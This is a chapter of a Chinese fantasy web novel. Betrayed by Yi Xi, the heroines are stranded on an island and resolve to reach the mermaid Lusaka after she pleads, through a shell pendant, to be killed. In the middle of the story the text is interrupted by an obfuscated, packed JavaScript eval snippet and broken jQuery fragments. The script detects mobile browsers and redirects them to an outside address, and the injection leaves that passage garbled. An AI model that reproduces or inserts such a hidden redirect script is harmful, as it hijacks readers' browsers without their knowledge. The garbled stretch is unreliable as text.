36. 拾遗岛10

作品:《异世界葬魔人

    易希脸色略一沉吟,嘴角勉强勾出一丝笑意,似乎突然想到了一个绝佳方案,语速飞快地继续说道:“眼下战况难料,绝不能将露莎卡置于险境。阿慕!前方不远处有一座我们勘察过的安全小岛,地势隐蔽。我即刻派人护送你们和露莎卡前去暂避。一旦我们摆脱追兵,立刻调头接应你们!”


    他不等二人回应,便带着副官转身离去,脚步声在狭长的金属廊道中急促回响,渐行渐远。


    慕幸与夏侯葵对视一眼,彼此都从对方眼中看到了深切的忧虑与不安。


    她们来不及多余的思考,就在这时,一艘中型帆船从主舰的阴影处迅速放下,悄无声息地贴近。易希的副官站在船头,朝着她们的方向用力挥手,压低的嗓音难掩焦急:“快上船!快来不及了!”


    情况紧迫,不容多想。出于保护露莎卡的迫切意愿,慕幸和夏侯葵迅速协助水手们将那特制水缸稳妥地转移至帆船上,随即登船。


    帆船上除了几名沉默干练的水手,便只有她们和那个承载着人鱼的水缸,水缸上被盖了一层厚厚的黑色布块,夏侯葵用手抚摸在缸壁上,似乎感受到了大海的律动。


    帆船立刻扬帆,朝着易希所指的方向疾驰而去。而西庭的巨大主舰则转向另一个方向,庞大的船体很快被海上的浓雾吞噬,仿佛从未存在过。


    帆船在茫茫大海上航行了一段时辰,一座被绿意覆盖的岛屿轮廓果然出现在前方。当船只缓缓靠近浅滩,慕幸和夏侯葵正准备协助将水缸移送上岸、建立临时营地时,副官却带着所有水手迅速撤回船上。


    “庭长有令,为防万一,船只需停泊至岛屿另一侧的隐蔽处,避免被可能的追兵发现。”副官站在船舷边,语气公式化,“诸位请在此安心等候,我们会保持信号联络,一旦危机解除,即刻前来接应。”


    话音未落,帆船已然驶离浅滩,绕过礁石,很快消失在岛屿的拐角处。


    直到此刻,望着空无一人的海岸线和身后茂密而陌生的丛林,一种强烈的不安感终于攫住了慕幸和夏侯葵。


    她们终于拿下了那个黑罩子,里面除了水和海藻,什么都没有。


    而此刻,西庭那艘巨大的轮船,恐怕正载着真正的露莎卡,在全速航行,直奔西庭而去。真正的露莎卡,从一开始就被易希秘密留在了主舰上。


    她们尝试在岛屿边缘探索,然而越是深入,心就越沉。周围的植被、岩石的形态,甚至空气中飘来的隐隐熟悉的海腥味,都指向一个让她们心惊的真相——这里根本不是什么未知的安全岛,分明就是拾遗岛一个她们从未踏足的偏僻角落!


    易希利用浓密的海雾和她们对海域的陌生,导演了一场精准的“航行骗局”。他让帆船在海面上绕了一个精心计算的圈子,最终目的,竟是神不知鬼不觉地将她们送回了拾遗岛。


    想通这一切,夏侯葵只觉一股怒火直冲头顶,她猛地一拳砸在身旁粗糙的礁石上,指节瞬间泛红,她却感觉不到疼痛,只有被信任之人彻底背叛的冰冷与愤怒。她们被困在了这座孤岛,而那条孤独的人鱼,正被带往未知的命运。


    “师父!”慕幸冲回到临时落脚点,找到一直沉默的狄刀,声音因激动而颤抖,“你是不是早就知道?你和易希,究竟里应外合了多少事情?!”


    夏侯葵也走上前,她的声音冰冷,带着压抑的怒火:“露莎卡会被带去哪里?”


    狄刀抬起头,这几日不见,他仿佛苍老了许多,眼角的皱纹里嵌满了疲惫与风霜。他避开她们灼人的目光,嗓音沙哑:“我不知道。我又不是西庭的核心人物,如此关键的秘密,他们怎么可能让我知晓。”他的话语中带着一丝自嘲,更深的,却是一种难以言说的复杂情绪,不知他最初设想的复仇与占领,如今在他心中,又变成了何等模样。


    距离易希的船带走露莎卡已过去数日。拾遗岛似乎恢复了往日的宁静,但一种无形的压抑笼罩在慕幸等人心头。武昂的水下船计划因关键材料短缺而搁置,他们仿佛被困在了这座孤岛上。


    夏侯葵坐在海边,手中摩挲着那串贝壳项链。这是露莎卡留给她的唯一信物,也是她复杂心绪的寄托。她希望露莎卡安然无恙,又隐隐希望这一切从未发生。


    突然!


    她掌心的贝壳毫无征兆地剧烈发烫,像一块烙铁,烫得她几乎要脱手。紧接着,一阵尖锐、破碎、不成调的呜咽声直接在她脑海深处炸响,那不是通过耳朵听见的,而是脑海里的共鸣。


    声音里充满了无法言说的痛苦,被剥离的剧痛、被禁锢的窒息、被窥探的屈辱,以及最深沉的、几乎要吞噬一切的孤独与绝望。


    “啊!”夏侯葵痛呼一声,猛地蜷缩起身子。


    “葵姐姐!”慕幸第一个冲过来。


    紧接着,狄康、武昂和静儿也围了过来。他们看不到贝壳的异常,却能清晰地看到夏侯葵瞬间惨白的脸和额头沁出的冷汗。


    “是……是她……”夏侯葵声音在颤抖,将滚烫的贝壳紧紧攥在胸口,仿佛那样能分担另一端的痛苦,“露莎卡……她在求救……不,不是求救……是……她在被……”


    她语无伦次,但那股通过贝壳传递而来的、纯粹的精神痛苦,让在场的每一个人都感到一阵心悸。


    慕幸蹲下身,握住夏侯葵另一只冰冷的手。她自己的脸色也好看不到哪里去。


    害怕吗?是的。那个异界的人鱼,她的力量曾让整个岛屿陷入疯狂。但此刻,感受着那穿越遥远海域传递来的、如同身受的酷刑般的感受,一种更强烈的情绪攫住了她,物伤其类的悲悯。


    “我们必须做点什么。”静儿声音低沉,她看向远方黑暗的海平面,那里是西庭的方向。


    “怎么做?”狄康相对冷静,但紧蹙的眉头显示他并不平静,“西庭守卫森严,我们连靠近主岛都难。”


    “难道就看着她……”静儿捂住嘴,说不下去。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678781|187360||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “也许……也许易希只是研究,不会伤害她……”慕幸试图找一个让自己心安的理由,但连她自己都无法相信。贝壳中传递来的痛苦,本身就是最残酷的证据。


    其实她心中觉得易希不是一个坏人,可这想法有些可笑了,在易希心里,露莎卡一定是一个坏人。


    就在这时,夏侯葵脑海中的声音变了。


    那持续的、尖锐的痛苦哀鸣,渐渐汇聚成一种断断续续的、用尽全力的心念:


    “夏……侯……葵……”


    “杀……了……我……”


    “求……你……”


    这三个字,像三根冰冷的针,刺穿了夏侯葵最后的犹豫。贝壳疯狂的往西方跳动,看来这是一个指南针。


    她猛地抬起头,眼中之前的痛苦和迷茫被一种决绝的悲伤取代。她看向慕幸,一字一顿地重复:“她在求我……杀了她。”


    空气仿佛凝固了。


    去营救一个他们曾经恐惧的存在,目的却是为了去终结她的生命。这是何等讽刺而残酷的“营救”。


    慕幸闭上了眼睛。她想起露莎卡在月光下流泪化成珍珠的模样,想起她看着夏侯葵时那种近乎偏执的依赖,也想起她歌声中蕴含的、足以倾覆一切的原始力量。恐惧与同情在她心中激烈交战。


    最终,那个在木桶中自然泡澡、并且对陌生世界抱有好奇的孤独灵魂的形象,占据了上风。


    她睁开眼,眼神恢复了清明与坚定。她看向武昂:“你的水下船,最快多久能勉强下水?不需要多远,只要能让我们悄悄靠近西庭主岛,找到一个隐蔽的登陆点。”


    武昂愣了一下,随即明白了她的意思,重重点头:“给我三天!我把之前废弃的那个半成品改装一下,够我们几个人短程航行!”


    她看向夏侯葵,握住她依旧在微微颤抖的手:“我们一起去……送她回家。”


    这个决定,无关正义,也并非纯粹的勇敢。它源于一种在绝境中诞生的、沉重的责任感,一种对另一个孤独灵魂的最后慈悲。


    慕幸还有些没想好,她确信,易希不是残暴之徒,没有理由虐待她,是在做实验吗?


    潜艇里,三个人都默默无语,慕幸不知道怎么去面对易希,她不想去指责对方,这没有意义。


    迎接她们的是一艘战船,看来瞭望塔早就看到了有东西在冒头。


    出乎几人意料的是,易希竟然会亲自来“迎接。”


    他的面色坦荡的很,丝毫没有骗局败露的愧疚。


    “我过几日就会去拾遗岛,你们怎么提前过来了?”他的语气柔和。


    “你对露莎卡做了什么?”慕幸看向易希,等待着他的解释。


    “没做什么。你们来就是为了这个事?我还以为你很快就会想通的,我不可能放她走。”易希的神情既平静又惊讶,无奈的摆了摆手。


    “能让我们见露莎卡一面吗?”慕幸说。